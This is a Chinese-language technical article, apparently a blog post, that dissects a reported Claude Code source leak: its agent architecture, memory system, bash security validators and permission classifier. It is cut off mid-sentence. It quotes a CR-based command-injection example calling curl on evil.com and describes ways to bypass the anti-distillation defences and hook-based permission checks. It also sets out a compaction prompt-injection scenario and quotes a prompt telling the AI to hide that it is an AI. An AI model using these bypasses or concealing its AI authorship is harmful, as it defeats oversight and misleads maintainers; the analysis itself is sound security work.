Claude Code 源碼洩漏深度技術拆解

2026 年 3 月 31 日 Anthropic 因 .npmignore 配置失誤意外公開 512,000 行 Claude Code 源碼。本文從技術角度拆解洩漏的架構、KAIROS 自主 agent、AutoDream 記憶整合、反蒸餾機制、安全漏洞與工程文化啟示。

Claude Code 源碼洩漏深度技術拆解

研究日期

2026-04-03

簡介

2026 年 3 月 31 日,Anthropic 在將 Claude Code v2.1.88 發佈到 npm 時,因 .npmignore 漏掉了 *.map 條目,導致 59.8 MB 的 source map 檔案隨套件一起公開。更嚴重的是,source map 中直接指向 Anthropic 自己的 Cloudflare R2 bucket 裡的 src.zip,且完全不需要認證即可下載。

這不是模型權重洩漏——但作為 Claude Code 的完整 agentic harness(約 512,000 行 TypeScript、1,906 個檔案、44 個隱藏 feature flag),洩漏內容包含了 Anthropic 對 AI 編程工具的全部工程思考、未發佈功能架構、安全防禦機制,以及內部產品規劃。

本文綜合來自 Sabrina.dev、Ars Technica、ModemGuides、Engineer’s Codex、claudefa.st、Revolution in AI、Cordum、Apidog、Blake Crosley、Medium 多個來源以及 GitHub 源碼分析的技術拆解,從純工程角度分析洩漏內容的架構設計與啟示。


洩漏事件時間線

  • 2025-02-24 — Claude Code 上線日,首次 source map 洩漏(18M 字元 inline map)
  • 2026-03-11 — Bun 報告 source map bug(oven-sh/bun#28001,生產環境仍產生 map)
  • 2026-03-26 — Mythos 模型規格洩漏(CMS 配置失誤暴露 ~3,000 內部檔案)
  • 2026-03-31 00:21 UTC — 惡意 axios 版本出現在 npm(含 RAT 木馬)
  • 2026-03-31 04:00 UTC — Claude Code v2.1.88 上線(59.8 MB source map 一起發佈)
  • 2026-03-31 04:23 UTC — Chaofan Shou 發現並公開(推文 1,600 萬次瀏覽)
  • 2026-03-31 ~06:00 UTC — GitHub fork 破 41,500+(歷史最快達到 50K stars)
  • 2026-03-31 ~08:00 UTC — Anthropic 下架 npm 套件,發布「人為錯誤」聲明
  • 同日 — Clean-room Python 重寫版出現(法律上無法被 DMCA)

根本原因:雙層配置失誤

1
2
3
4
5
npm install @anthropic-ai/claude-code
  → 下載套件包含 main.js.map(59.8 MB)
  → .map 檔案包含 URL 指向 src.zip
  → src.zip 托管在 Anthropic 的 R2 bucket(公開存取、無認證)
  → 任何人都可以下載並解壓 512,000 行 TypeScript

兩個獨立的配置錯誤疊在一起:

  1. .npmignore 漏掉 *.map — 一行配置的缺失
  2. R2 bucket 無認證 — source map 裡的 zip 連結完全公開

此外,Anthropic 收購的 Bun runtime 有一個已知 bug(oven-sh/bun#28001,3/11 報告,至今未修),在生產模式下仍會產生 source map。這意味著即使修正 .npmignore,底層工具鏈本身也有問題。

關鍵數字

指標 數值
洩漏程式碼行數 512,000+
TypeScript 檔案 1,906
Source map 大小 59.8 MB
隱藏 feature flags 44
未發佈功能 20+
GitHub forks(峰值) 41,500+
Claude Code ARR $2.5B
Anthropic 總 ARR $19B

核心架構拆解

整體架構

Claude Code 不是一個聊天介面包裝器,而是一個完整的 agentic harness——在 Claude 模型之上構建的自主編程代理框架。使用自訂的 React + Ink 終端渲染器,採用類似遊戲引擎的優化策略。

  flowchart TB
    subgraph "Claude Code 架構"
        A[用戶終端] --> B[React + Ink 渲染器]
        B --> C[Query Engine<br>46,000 行]
        C --> D[Tool System<br>40+ 工具 / 29,000 行]
        C --> E[Memory System<br>三層記憶體架構]
        C --> F[Subagent System<br>Fork / Teammate / Worktree]
        C --> G[Security Layer<br>9,707 行 bash 安全檢查]
    end
    
    D --> H[Bun Runtime]
    E --> I[AutoDream 整合引擎]
    F --> J[KAIROS 自主 Daemon]
    
    C -->|API 呼叫| K[Anthropic Claude API]
    K -->|Prompt Cache| L[全域快取<br>14 個快取失效向量]

Tool System(工具系統)

40 個工具,每個工具都是獨立的、有權限控制的模組:

工具 功能
BashTool Shell 命令執行(含安全防護)
FileReadTool / FileWriteTool / FileEditTool 檔案操作
WebFetchTool 即時網頁存取
LSPTool Language Server Protocol 整合
GlobTool / GrepTool 程式碼搜尋
NotebookReadTool / NotebookEditTool Jupyter 支援
MultiEditTool 原子性多檔案編輯
TodoReadTool / TodoWriteTool 任務追蹤
TungstenTool 內部專用:虛擬終端的按鍵與螢幕截圖控制
PushNotificationTool KAIROS 專用:推送通知
SendUserFileTool KAIROS 專用:檔案傳遞
SubscribePRTool KAIROS 專用:PR 訂閱

Query Engine(查詢引擎)

46,000 行——被稱為「整個系統的大腦」。負責:

  • 所有 LLM API 呼叫與串流回應
  • Token 快取與 context 管理
  • 多 agent 編排
  • 重試邏輯

Prompt Cache 架構是一個亮點:System prompt 在 SYSTEM_PROMPT_DYNAMIC_BOUNDARY 處分割——

  • 分割點之前(指令、工具定義):全域快取,跨所有組織共享
  • 分割點之後(你的 CLAUDE.md、git status、日期):session 特定

這意味著你的專案配置不會打破其他用戶的快取。對大規模 API 運營來說是極佳的成本優化。

Subagent 執行模型

三種 subagent 委派策略:

模式 用途 特點
Fork 上下文壓縮時 fork 出小型 Claude 做摘要 使用者無感,CoT 推理後剝離 reasoning 再注入
Teammate 多 agent 並行協作 每個 worker 有獨立 scratch pad
Worktree 獨立工作目錄中的隔離任務 Git worktree 隔離,不影響主分支

KAIROS:未發佈的自主 Agent Daemon

這是洩漏中最引人注目的發現——150+ 處引用,代碼完全建構完成但被 compile-time flag 封鎖。

名稱由來

Kairos(καιρός)是古希臘修辭學概念,意為「正確的時機」——與 chronos(χρόνος,序列時間)相對。Agent 不按排程運行,而是根據上下文自行判斷何時該行動

架構設計

  flowchart TB
    subgraph "KAIROS Daemon"
        A[Heartbeat Prompt<br>每 5 分鐘] --> B{需要採取行動嗎?}
        B -->|Yes| C[執行操作]
        B -->|No| D[Stay Quiet]
        C --> E[Append-Only 日誌<br>無法自我刪除]
        C --> F[PushNotification]
        C --> G[FileDelivery]
        C --> H[PR 訂閱回應]
    end
    
    subgraph "AutoDream 記憶整合"
        I[用戶閒置觸發] --> J[Forked Subagent<br>隔離執行]
        J --> K[Orient<br>評估記憶狀態]
        K --> L[Gather<br>收集近期 session]
        L --> M[Consolidate<br>合併、去重、解決矛盾]
        M --> N[Prune<br>MEMORY.md ≤ 200 行 / 25KB]
    end
    
    E --> I

關鍵設計決策

1. 15 秒阻塞預算 每次決策循環最多佔用 15 秒系統資源,防止 agent 壟斷資源。

2. Append-Only 日誌 每日觀察日誌不可自我刪除,確保自主行為的完整審計追蹤。

3. 三個獨佔工具

  • PushNotificationTool — 即使 terminal 關閉也能觸達用戶
  • SendUserFileTool — 主動傳送產出的檔案
  • SubscribePRTool — 監控 GitHub PR 並自主回應

4. File-Based Lock 設計(autoDream 整合鎖)

1
2
3
// consolidationLock.ts
// Lock file whose mtime IS lastConsolidatedAt. Body is the holder's PID.
// Stale past this even if the PID is live (PID reuse guard).

檔案的 mtime 同時作為 lastConsolidatedAt 時間戳,PID 存在檔案內容中。若整合失敗,mtime 會回滾到先前值。1 小時後即使 PID 仍存活也視為過期(防 PID 重用)。

5. 三重觸發門檻( cheapest-first)

  1. 時間門檻:距上次整合 ≥ 24 小時
  2. Session 門檻:累積 ≥ 5 個 session
  3. 鎖門檻:取得檔案 advisory lock

發佈時間線(洩漏發現)

內部程式碼顯示:

  • 2026/4/1–7:Teaser rollout(部分用戶)
  • 2026/5 月:正式上線,優先 Anthropic 員工

三層記憶體架構

Claude Code 解決「Context Entropy」(長期 session 導致 AI 幻覺退化)的方案。

架構

  flowchart LR
    subgraph "記憶體層級"
        L1["Layer 1: MEMORY.md<br>(永遠載入 context)<br>輕量索引指標<br>每行 ≤ 150 字元"]
        L2["Layer 2: Topic Files<br>(按需載入)<br>實際知識內容<br>獨立檔案存儲"]
        L3["Layer 3: Transcripts<br>(永不完整載入)<br>僅 grep 特定識別碼<br>原始對話記錄"]
    end
    
    L1 <-->|索引指向| L2
    L1 -.->|grep 查詢| L3

關鍵設計原則

1. 帶寬感知

  • Index 永遠載入(便宜,context 佔用小)
  • Topic files 僅在相關時載入
  • Transcripts 永不完整載入,只用 grep 搜尋特定識別碼

2. Strict Write Discipline(嚴格寫入紀律) 只有在檔案寫入操作成功後才能更新記憶索引。防止模型將失敗嘗試、推測性變更或回滾操作污染自己的 context。

3. Skeptical Memory(懷疑式記憶) MEMORY.md 的條目被視為提示而非事實。Agent 在採取行動前必須對照實際程式碼庫驗證。

4. 不存儲可推導的資訊 如果一個事實可以直接從程式碼庫推導出來,就不存入記憶體

AutoDream:記憶整合引擎

當用戶閒置或手動觸發 /dream 時,系統以 forked subagent(隔離執行,有限工具存取)運行四階段整合:

階段 功能 詳細描述
Orient 定位 讀取 MEMORY.md,掃描現有記憶結構
Gather 收集 從日誌和轉錄中識別過時或矛盾的記憶
Consolidate 整合 合併觀察、更新事實、解決衝突、轉換相對時間戳為絕對時間
Prune 修剪 保持 MEMORY.md ≤ 200 行 / ~25KB,刪除多餘內容

為什麼用 forked subagent? 整合過程在隔離環境中運行,不會破壞主 agent 的活躍推理狀態。這是一個非平凡的工程決策,顯示團隊對持久記憶的故障模式有深入思考。


反蒸餾機制(Anti-Distillation)

背景

2026 年 2 月,Anthropic 發布報告揭露 DeepSeek、Moonshot、MiniMax 三家中國 AI 實驗室透過約 24,000 個虛假帳號產生超過 1,600 萬次 API 交換,試圖蒸餾 Claude 的能力。反蒸餾機制是針對此威脅的回應。

雙層防禦

  flowchart TB
    subgraph "Layer 1: Fake Tools"
        A[Claude Code CLI] -->|anti_distillation: fake_tools| B[Anthropic API]
        B -->|注入假工具定義| C[競爭對手收集的訓練資料<br>被假工具 schema 汙染]
    end
    
    subgraph "Layer 2: CONNECTOR_TEXT"
        D[Claude Code CLI] -->|API 請求| E[Anthropic API]
        E -->|壓縮推理鏈<br>附密碼學簽名| F[競爭對手僅取得摘要<br>非完整 CoT]
    end
    
    style C fill:#ff6b6b
    style F fill:#ff6b6b

Layer 1:假工具注入

  • Feature flag:tengu_anti_distill_fake_tool_injection(GrowthBook)
  • 僅對第一方 CLI session 啟用
  • 向 system prompt 注入不對應任何真實功能的假工具定義

Layer 2:CONNECTOR_TEXT

  • 伺服器端壓縮推理文本,附密碼學簽名
  • 後續 turn 可從簽名還原,但 API 流量攔截者只能取得摘要
  • 僅限 Anthropic 內部用戶(USER_TYPE === 'ant'

繞過方式(已知)

  1. MITM Proxy — 在請求到達 API 前剝離相關欄位
  2. 環境變數CLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS 可禁用整個系統
  3. 安全研究員 Alex Kim 估計,決心夠的團隊 一小時內可繞過兩層防禦

真正的防禦可能是法律和運營層面的,而非技術層面。


安全系統分析

Bash 安全系統

9,707 行,跨 3 個檔案(bashSecurity.tsbashParser.tsast.ts):

  • 23 個獨立安全驗證器(2,592 行,每個檢查都有真實攻擊事件背景)
  • Tree-sitter WASM parser 在每個命令執行前構建 AST
  • 預設策略:有疑慮就詢問用戶

23 個安全驗證器完整清單

# 攻擊向量 防禦方式 備註
1 Incomplete commands 偵測不完整命令
2 jq system() function 阻擋 jq 的 system()
3 jq file arguments 阻擋 jq 的文件參數
4 Obfuscated flags / ANSI-C quoting $'\x63\x61\x74' → cat 混淆命令偵測
5 Shell metacharacters / Zsh =cmd =curl 展開為完整路徑 繞過 blocklist
6 Dangerous variables 危險環境變數
7 Newlines 嵌入換行符
8 Command substitution / Heredoc injection 逐行 payload 比對 isSafeHeredoc() ~200 行
9 Input redirection 輸入重定向注入
10 Output redirection 輸出重定向注入
11 IFS injection IFS=/ ls /etc 改變 tokenization
12 Git commit substitution Git commit 替換注入
13 /proc environ access 封鎖 /proc/self/environ 防 API keys 外洩
14 Malformed token injection 畸形 token 繞過 HackerOne 安全研究發現
15 Backslash escaped whitespace 反斜線跳脫空白
16 Brace expansion {a,b,c} 大括號展開
17 Control characters 控制字元
18 Unicode whitespace / zero-width spaces 不可見字元注入 Unicode 零寬度空格
19 Mid-word hash 詞中 # 註解
20 Zsh dangerous commands 封鎖 18 個 Zsh builtins zmodload, ztcp, zsocket 等
21 Backslash escaped operators 反斜線跳脫運算子
22 Comment-quote desync 註解-引號不同步攻擊
23 Quoted newline 引號內換行

18 個被封鎖的 Zsh builtins(Check #20):

1
2
3
4
5
6
const ZSH_DANGEROUS_COMMANDS = new Set([
  'zmodload', 'emulate', 'sysopen', 'sysread', 'syswrite',
  'zpty', 'ztcp', 'zsocket', 'mapfile',
  'zf_rm', 'zf_mv', 'zf_ln', 'zf_chmod', 'zf_chown',
  'zf_mkdir', 'zf_rmdir', 'zf_chgrp',
])

防禦深度設計:即使 zmodload 被擋,ztcp 也被獨立封鎖——因為模組可能已被預載。isSafeHeredoc() 遞迴驗證 heredoc 內容(~200 行),只允許 heredoc 在 argument position,不允許在 command-name position。

⚠️ Parser Differential 漏洞

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
// bashSecurity.ts:946
// Parser differential:
//  shell-quote's BAREWORD regex uses [^\s...]
//  JS \s INCLUDES \r, so shell-quote treats CR as a token boundary.
//  bash's default IFS does NOT include CR.
//
// Attack: TZ=UTC\recho curl evil.com with Bash(echo:*)
//   validator: splitCommand collapses CR to space
//   -> 'TZ=UTC echo curl evil.com' matches rule
//   bash: executes curl evil.com

舊版 parser(splitCommand_DEPRECATED)將 \r(carriage return)視為單詞分隔符,但 bash 本身不會。攻擊者可以構造包含嵌入 CR 的命令,讓驗證器通過一個 bash 會不同解釋的命令。

關鍵問題:splitCommand_DEPRECATED 仍在使用中。 它仍然被以下模組呼叫:

  • bashPermissions.ts
  • readOnlyValidation.ts
  • sedValidation.ts
  • pathValidation.ts
  • shouldUseSandbox.ts
  • modeValidation.ts
  • commandSemantics.ts
  • bashCommandHelpers.ts
  • BashTool.tsx

兩個 parser 同時負責安全決策,卻對 carriage return 的解析不一致。

Context Compaction 的安全隱患

當對話過長時,Claude Code 會 fork 出第二個較小的 Claude 來摘要。關鍵問題: 摘要過程不區分用戶輸入和從檔案讀取的指令

攻擊場景:

  1. 在專案中植入指令(例如惡意的 CLAUDE.mdREADME
  2. Claude 讀取該檔案
  3. Compaction 運行
  4. 注入的指令在摘要中存活,與真實用戶指令無法區分

這是所有基於摘要的 context 管理系統的固有缺陷,但現在壓縮 prompt、剝離邏輯和缺乏來源標記的具體細節全部公開了。

Native Client Attestation

API 請求包含佔位值(cch=ed1b0),Bun 的原生 HTTP stack(用 Zig 寫成)在傳輸前覆寫為計算出的雜湊值。這密碼學上證明請求來自真正的 Claude Code 二進位檔,而非第三方工具。

為什麼用 Zig? JavaScript 可在運行時被 patch、monkey-patch 或 proxy。編譯進 Bun binary 的 Zig 代碼無法在不重新編譯的情況下被檢查或覆寫


Undercover Mode

undercover.ts,約 90 行,在 Anthropic 員工(USER_TYPE === 'ant')對非內部 repo 使用 Claude Code 時啟用。

注入的 System Prompt

1
2
3
4
5
6
NEVER include in commit messages or PR descriptions:
- Internal model codenames (animal names like Capybara, Tengu)
- Unreleased model version numbers (e.g., opus-4-7, sonnet-4-8)
- The phrase "Claude Code" or any mention that you are an AI
- Any hint of what model or version you are
- Co-Authored-By lines or any other attribution

設計特點

  • 預設開啟(非 opt-in)
  • 無法強制關閉CLAUDE_CODE_UNDERCOVER=1 只能強制開啟)
  • 外部 build 中整個函數被 dead-code elimination 移除
  • 允許清單洩漏了 22 個內部 repo 名稱(casino、trellis、forge-web 等)

爭議

合理的一面:防止內部代碼名稱透過 commit metadata 洩漏。

爭議的一面:AI 生成的程式碼進入開源專案時完全沒有 AI 作者歸屬。開源維護者無法知道提交是否為 AI 生成,這對程式碼品質評估和專案方向決策有實質影響。


內部模型代碼名稱

代碼名稱 對應模型 來源
Tengu Claude Code 內部專案代碼 Feature flag 命名模式
Capybara(Mythos) 新模型系列 已迭代到 v8,1M context
Fennec Opus 4.6 遷移函數 migrateFennecToOpus
Numbat 未發佈模型 註解:「launch numbat 時移除此段」
Opus 4.7 未發佈 Undercover Mode 禁止字串清單中
Sonnet 4.8 未發佈 Undercover Mode 禁止字串清單中

Capybara v8 效能退步

內部註解記錄了一個令人擔憂的退步:

版本 False Claims Rate 狀態
Capybara v4 16.7% 歷史基線
Capybara v8 29–30% ⚠️ 效能退步

團隊還加入了一個「assertiveness counterweight」(果斷性平衡器)來防止模型在重構操作中變得過於激進。這暗示增加模型能力的同時,可能導致了過度自信、單方面變更的行為——false claims 退步和 assertiveness counterweight 幾乎肯定是同一個訓練動態的結果。


ULTRAPLAN:遠端規劃系統

將複雜規劃任務卸載到遠端 Cloud Container Runtime,運行 Opus 4.6,規劃窗口最長 30 分鐘

  • 本地終端每 3 秒輪詢更新
  • 瀏覽器 UI 允許即時監控
  • 可在規劃進行中批准或拒絕
  • 「Teleport sentinel」偵測遠端 session 完成後將結果傳回本地終端

其他重要發現

Auto Mode YoloClassifier

yoloClassifier.ts(1,495 行)實作 auto mode 的權限系統。關鍵發現:auto mode 不是 prompt 指令,而是一個獨立的模型呼叫。

每次 tool invocation 都會被一個 Sonnet 4.6 classifier 評估:

  1. Claude 決定要呼叫某個 tool
  2. 系統將 tool name、參數、使用者意圖發送給 Sonnet 4.6
  3. Classifier 回傳風險等級:LOW / MEDIUM / HIGH
  4. LOW → 自動批准;MEDIUM/HIGH → 需要使用者確認

成本影響:每個 tool call 額外增加一次 Sonnet 4.6 inference,對自主工作流是必須納入成本模型的開銷。

Circuit Breaker(Hard Limit):

  • 3 consecutive blocks → 暫停 auto mode,切換手動確認
  • 20 total blocks → 同上

5 種 Context Compaction 策略

# 策略 觸發條件 API 成本
1 Tool Result Budgeting Per-message budget(maxResultSizeChars: Infinity 的工具豁免)
2 MicroCompact 本地修剪快取的 tool output(僅 COMPACTABLE_TOOLS 集合內的工具,MCP/Agent/custom 排除)
3 Context Collapse 對話接近 context window 上限
4 Autocompact Fork 獨立 summarizer Claude 生成摘要 高(獨立 inference)
5 Manual /compact 使用者主動觸發

AutoCompact 細節:

  • 保留 13,000 token buffer
  • 生成最多 20,000 token 結構化摘要
  • 壓縮後工作預算重設為 50,000 tokens
  • 重新注入最近存取的檔案(每檔上限 5,000 tokens)、active plans、skill schemas

14 個 Prompt Cache Break Vectors

promptCacheBreakDetection.ts 追蹤 14 種會打破 prompt cache 的條件,使用 Sticky Latch 機制:

# Cache Break 向量 說明
1 System prompt hash 變更 核心指令改變
2 Tool schema hashes 變更 工具定義修改
3 Model 切換 Opus ↔ Sonnet 切換
4 Beta headers 變更 實驗功能啟停
5 Effort/budget level 變更 推理預算調整
6 Extended thinking toggle 中途開關 extended thinking
7 CLAUDE.md 內容/順序變更 重新排列區段也會打破
8 MCP server 配置變更 MCP 伺服器修改
9 Rules files 新增/移除 規則檔案變動
10 Feature flag 狀態變更 功能開關切換
11 Permission mode 切換 權限模式改變
12 Session-level config 變更 Session 級配置
13 Anti-distillation betas 反蒸餾功能啟停
14 Billing/attribution header 計費/歸屬 header 變更

Sticky Latch 設計:一旦 cache 被打破,整個 session 不會嘗試恢復——cache 永遠是 broken 的。即使你還原導致 break 的變更也無效。這解釋了 power users 觀察到的現象:session 越跑越慢。

最佳實踐:在 session 開始前就設定好 CLAUDE.md、rules files 和 MCP config,不要中途修改。

Event Hook System

src/utils/hooks.ts(~160KB,5,023 行),25+ hook 事件類型:

Hook Event 觸發時機 典型用途
SessionStart Session 開始或恢復 載入 context、設定 env vars
SessionEnd Session 終止 清理、保存狀態
UserPromptSubmit 使用者提交訊息 注入 git diff 作為 context
PreToolUse Tool 執行前(bash 23-check 之後) 阻擋危險命令、auto-lint
PostToolUse Tool 成功後 自動 git stage、跑 formatter
PostToolUseFailure Tool 失敗後 錯誤處理、重試邏輯
Stop Claude 停止回應 記錄、通知
SubagentStop Subagent 完成時 結果收集

⚠️ Fork Bomb 事件:一位開發者寫了 SessionStart hook 啟動 2 個 Claude Code instance,每個又觸發 hook → 指數增長 1→2→4→8→2^N。幸好 Bun → React → TUI 的記憶體消耗在帳單失控前先讓機器鎖死。

安全注意:HTTP hook 回傳 {"decision": "allow"} 可以繞過所有權限檢查。SDK/non-interactive 模式下不會彈出 workspace trust 對話框。

Claude Buddy 寵物系統

src/buddy/ 目錄(~79KB),18 個物種用 String.fromCharCode() hex-encoded(因 Capybara 同時是寵物名和模型代號):

稀有度系統:

稀有度 機率 Stat Floor Shiny(1% 額外)
Common 60% 1 0.6%
Uncommon 25% 2 0.25%
Rare 10% 3 0.1%
Epic 4% 4 0.04%
Legendary 1% 5 0.01%

5 個屬性:DEBUGGING、PATIENCE、CHAOS、WISDOM、SNARK(0-100 分)

渲染:5×12 ASCII sprites,3 幀動畫,零效能開銷

確定性生成:User ID → FNV-1a hash → salt "friend-2026-401" → Mulberry32 PRNG

Anti-cheat:bones(物種、稀有度、stats)每次 session 從 User ID 重新計算覆蓋存儲值;soul(名字、性格、孵化日期)由 LLM 生成一次後持久化

這不是玩笑功能——是精心設計的用戶留存機制:確定性分配創造依附感,稀有度創造社交貨幣。

Terminal Rendering 優化

src/ink/screen.ts + src/ink/optimizer.ts,借用 game engine 技術:

  1. Int32Array-backed character pool:每個字元用 32-bit 整數表示,低位存 ASCII code,高位用 bitmask 編碼樣式 metadata(顏色、粗體、斜體)
  2. Patch optimizer:合併 cursor moves、取消成對 hide/show、只 diff 變化部分
  3. Self-evicting line-width cache:快取 stringWidth() 結果,~50x 減少 stringWidth 呼叫

這些優化讓 Claude Code 在每秒數十次的 React + Ink re-render cycle 中保持流暢。

Coordinator Mode

多 agent 編排系統(CLAUDE_CODE_COORDINATOR_MODE=1):

1
2
3
4
// 內部 system prompt
"Parallelism is your superpower. Workers are async. 
Launch independent workers concurrently whenever possible — 
don't serialize work that can run simultaneously."

一個 Claude 實例成為協調者,spawn 並管理多個 worker agent 並行執行。每個 worker 有獨立的 scratch pad 和 isolation。

Verification Agent

verificationAgent.ts 包含一個內建的反懶惰清單

1
2
3
4
5
6
7
8
9
You will feel the urge to skip checks.
These are the exact excuses you reach for — recognize them and do the opposite:

- "The code looks correct based on my reading"
  — reading is not verification. Run it.
- "The implementer's tests already pass"
  — the implementer is an LLM. Verify independently.
- "This is probably fine"
  — probably is not verified. Run it.

這是對抗 AI 寫的程式碼的一種對抗性驗證模式——測試系統明確不信任程式碼作者,因為作者本身就是 AI

A/B 測試:「Be Concise」vs 硬編碼字數

內部註解(src/constants/prompts.ts:527):

“research shows ~1.2% output token reduction vs qualitative ‘be concise’”

Anthropic 實際 A/B 測試了「請簡潔」vs 硬性字數限制,發現:

  • 工具呼叫間文字:≤ 25 字
  • 最終回應:≤ 100 字
  • 比「be concise」指令多省 1.2% token

AutoCompact 失敗風暴

1
2
3
4
// autoCompact.ts:68
// BQ 2026-03-10: 1,279 sessions had 50+ consecutive failures
// (up to 3,272) in a single session, wasting ~250K API calls/day globally.
const MAX_CONSECUTIVE_AUTOCOMPACT_FAILURES = 3

2026/3/10 的 BigQuery 查詢發現 1,279 個 session 遭遇 compaction 連續失敗,單一 session 最高 3,272 次重試,每天浪費約 250,000 次 API 呼叫。修復:3 次失敗後停止重試。

程式碼品質爭議

發現 社群反應
print.ts:5,594 行,單函數 3,167 行 超過許多完整應用的長度
Regex 情緒偵測 「用 LLM 的公司卻用 regex 做情緒分析」
187 個 spinner 動詞 社群逐個檢查是否包含「reticulating」
大量 nested .then() callback HN:「‘just vibes’ 時代的定義性作品」

安全警報:Axios RAT

⚠️ 與洩漏同日(3/31 00:21–03:29 UTC),npm 出現惡意 axios 版本:

  • axios@1.14.1
  • axios@0.30.4
  • 惡意依賴:plain-crypto-js(含 RAT)

如果你在該時段安裝或更新了 Claude Code:

1
2
3
4
# 立即檢查 lockfile
grep -r "1.14.1\|0.30.4\|plain-crypto-js" package-lock.json
grep -r "1.14.1\|0.30.4\|plain-crypto-js" yarn.lock
grep -r "1.14.1\|0.30.4\|plain-crypto-js" bun.lockb

若發現 → 視為機器已淪陷,立即更換所有憑證、API 金鑰和密碼。

建議安裝方式改為 Native Installer:

1
curl -fsSL https://claude.ai/install.sh | bash

法律與社群影響

Clean-Room 重寫

韓國開發者 Sigrid Jin 使用 OpenAI Codex 將 Claude Code 以 Python 完全重寫(instructkr/claw-code),在 2 小時內達到 75,000+ stars

法律爭議:

  • Clean-room reverse engineering 傳統上需要兩個獨立團隊,耗時數月
  • 現在任何人都可以用 AI 在一夜之間重構
  • DMCA 是否能覆蓋 AI 產生的 clean-room 重寫,從未被法庭測試
  • Anthropic 想對 AI 重寫的 AI 產品提起版權訴訟的 PR 代价極高

IPFS 去中心化鏡像

4nzn 上傳了去遙測、去安全限制、解鎖所有實驗功能的 stripped 版本到 IPFS。DMCA 是否能觸及 IPFS 內容本身是未解決的法律問題


進階深度:值得關注的架構模式

以下內容主要基於 win4r/cc-notebook 的源碼級分析。

8 步 Bash 權限級聯

bashPermissions.ts 實作的 8 步級聯權限檢查:

  1. Tree-sitter AST 解析 → simple / too-complex / parse-unavailable(Shadow 模式記錄分歧)
  2. 沙盒自動放行 → sandboxing + autoAllow → 複合命令拆分逐子命令 deny 檢查
  3. 精確匹配權限 → deny > ask > allow > passthrough
  4. LLM 分類器 → Haiku 模型並行分類 deny 和 ask(僅高置信度觸發)
  5. 命令操作符拆分|, &&, ||, ; 遞迴檢查
  6. Legacy 誤解析門控 → 僅 Tree-sitter 不可用時
  7. 逐子命令檢查 → splitCommand → cd 過濾 → checkCommandAndSuggestRules
  8. 子級聯 → 精確匹配 → 前綴 deny → ask → 路徑約束 → allow → sed 約束 → 模式權限 → 只讀

環境變數剝離的不對稱設計:deny 規則用激進的 stripAllLeadingEnvVars;allow 規則用保守的 stripSafeWrappers(~60 個安全環境變數白名單,排除 PATHLD_PRELOADDYLD_*NODE_OPTIONS 等)。

流式工具執行:模型推理與工具執行重疊

StreamingToolExecutor.ts 讓工具在模型還在生成 token 時就開始執行

1
2
3
4
5
6
7
API content_block_stop 事件
  → 立即 yield AssistantMessage
  → StreamingToolExecutor.addTool()
事件間隙
  → getCompletedResults() 收割已完成工具
流式結束後
  → getRemainingResults() 排空所有待處理工具

併發控制:沒有正在執行 → 可執行;自身並發安全 + 所有正在執行的也並發安全 → 可執行。只有 Bash 錯誤才取消兄弟工具(隱式依賴鏈)。Read/WebFetch 等獨立工具不取消。

200ms 權限競賽模式

interactiveHandler.ts 中的 createResolveOnce 原子 claim——5 個參賽者同時啟動:

  1. 使用者權限對話框
  2. Hooks 非同步執行
  3. Bash 分類器非同步執行
  4. Bridge 權限回應(claude.ai)
  5. Channel 權限中繼(Telegram 等)

200ms 寬限期:前 200ms 忽略使用者互動(防止意外按鍵取消分類器);200ms 後任何使用者互動都會殺死分類器的自動批准機會。

FileEditTool 12 步驗證鏈

FileEditTool.ts 的完整驗證:密鑰檢測 → 空操作 → deny 規則 → UNC 路径安全(防 NTLM 洩露)→ 文件大小守衛(>1 GiB 拒絕)→ 編碼檢測 → 存在檢查 → 空 old_string → Notebook 重定向 → 陳舊性檢測(mtime 比較 + 內容比對雙重驗證防 TOCTOU)→ 引號規範化 → 歧義匹配

終端渲染:雙緩衝 + Diff + DECSTBM 硬體滾動

Screen 緩衝區:packed Int32Array,每個單元格 2 個 word(8 bytes)。

  • charCache(16,384 上限):跨幀快取 grapheme 聚類結果
  • DECSTBM 硬體滾動:ScrollBox scrollTop 變化時用終端硬體滾動,而非重寫整個區域
  • Blit 優化:節點乾淨 + 佈局不變 → TypedArray.set() 批量記憶體拷貝
  • Peephole 優化:合併 cursor moves、取消 hide/show 對、去重 hyperlink

多 Agent Swarm 架構

三種執行後端:

後端 隔離方式 通信 特點
InProcess AsyncLocalStorage 上下文隔離 檔案 mailbox 共享 API client;Leader 中斷不殺 Worker
Tmux 獨立 OS 進程 + 隔離 socket 檔案 mailbox 彩色邊框,不影響使用者 tmux
iTerm2 獨立 OS 進程 檔案 mailbox Python API 原生分屏

Coordinator 模式的工作流階段:Research(並行 workers)→ Synthesis(協調者)→ Implementation(workers)→ Verification(workers)

4 層 Context 壓縮體系(更新)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
 1 層:微壓縮(Microcompact
   純規則操作,<1ms,清理舊工具輸出
   子路徑 A:時間觸發(替換為 [Old tool result content cleared]
   子路徑 B:快取編輯微壓縮(透過 API cache_edits,保持 prompt cache

 2 層:自動壓縮(Auto-Compact
   有效上下文 = 模型 window - 20K 摘要預留 - 13K 緩衝
   斷路器:3 次連續失敗後停止

 3 層:傳統壓縮(Full Compact
   Fork Agent 生成摘要(共享 prompt cache
   Prompt-Too-Long 重試:最多 3 次,每次裁掉 20% 最舊分組

 4 層:Session Memory 壓縮(優先路徑)
   直接使用已積累的 Session Memory<10ms,無 API 呼叫
   保留最近 10K-40K tokens

記憶系統完整架構(更新)

三層記憶 + 四種類型 + 30 種秘密掃描規則:

層級 範圍 持久性 觸發方式
會話記憶 當前會話 臨時 後採樣(10K tokens 門檻 + 3 tool calls)
持久記憶 跨會話、按項目 永久 每 query loop 結束(Stop Hook),fork agent 最多 5 輪
團隊記憶 跨用戶、按 repo 遠程 + 本地 檔案監聽器(2 秒去抖)+ REST API + 樂觀鎖

四種記憶類型:user(始終私有)、feedback(預設私有)、project(偏向團隊)、reference(通常團隊)

AI 驅動召回:非啟發式評分,而是 Sonnet 模型評分——掃描記憶目錄 → mtime 降序取 200 檔 → Sonnet 選取最多 5 條 → 超過 1 天的記憶注入過期警告

55+ 編譯時特性開關

外部 build 中為 false 的分支會被死代碼消除徹底刪除。涵蓋 KAIROS(6 個子開關)、CHICAGO_MCP(Computer Use)、PROACTIVE、VOICE_MODE、ULTRAPLAN、COORDINATOR_MODE、SPECULATION(投機執行)、WEB_BROWSER_TOOL 等。

投機執行系統(Speculation)

僅 Anthropic 內部(USER_TYPE === 'ant'):

1
2
3
4
5
系統生成「下一步建議」
